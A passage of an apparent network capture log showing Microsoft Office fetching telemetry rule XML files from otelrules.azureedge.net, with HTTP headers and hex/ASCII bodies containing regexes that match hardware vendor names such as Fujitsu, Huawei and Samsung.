<C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49739	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:20 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:20 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 9ed27c23-f01e-0020-6955-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091320Z-157b9fd754fl8n64hC1SN1x39s00000001c0000000002gt3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:21 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49740	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:21 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: ea225b5e-301e-0020-755f-2e6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091321Z-158dbd74bf4xn2d5hC1SN1962w00000003qg0000000062dt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49741	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:21 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 11ffd83c-b01e-003d-6a61-2ed32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091321Z-158dbd74bf492xzchC1SN15kfc00000003ng000000003ypq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49742	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:21 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f9b7bb91-701e-0021-1460-2e3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091321Z-157b9fd754frbrzghC1SN12cu4000000044g000000006a8f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49743	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:21 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:21 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: d33e01be-001e-0082-0958-2e5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091321Z-158dbd74bf4dtwdphC1SN1ubaw00000003e0000000001r89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:21 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49744	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:21 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: a07dceec-d01e-0066-4c3b-2eea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091321Z-157b9fd754fhz277hC1SN17yhw00000004ag000000002hfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49745	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:22 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:22 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 2398beba-501e-007b-298e-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091322Z-157b9fd754ft52nwhC1SN1agvs000000046g000000002490 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:22 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49746	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:22 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:22 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8b5c7529-c01e-00ad-2446-2ea2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091322Z-157b9fd754fqtvfchC1SN1b6mc000000046g000000000hqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:22 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49747	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:22 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0e31b739-001e-002b-304d-2e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091322Z-158dbd74bf4dtwdphC1SN1ubaw00000003d0000000002gmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49748	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:22 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6b3fdf92-c01e-008e-384a-2e7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091322Z-157b9fd754fpq442hC1SN1cmvn00000004d00000000000b8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49749	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:22 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 4785079e-601e-0070-2a8e-2da0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091322Z-158dbd74bf45w8zqhC1SN1xfeg00000003u0000000004gzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49750	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:23 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 0a8e697d-a01e-0002-295f-2e5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091323Z-157b9fd754fnmqw2hC1SN10ngs000000046g000000005bvz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 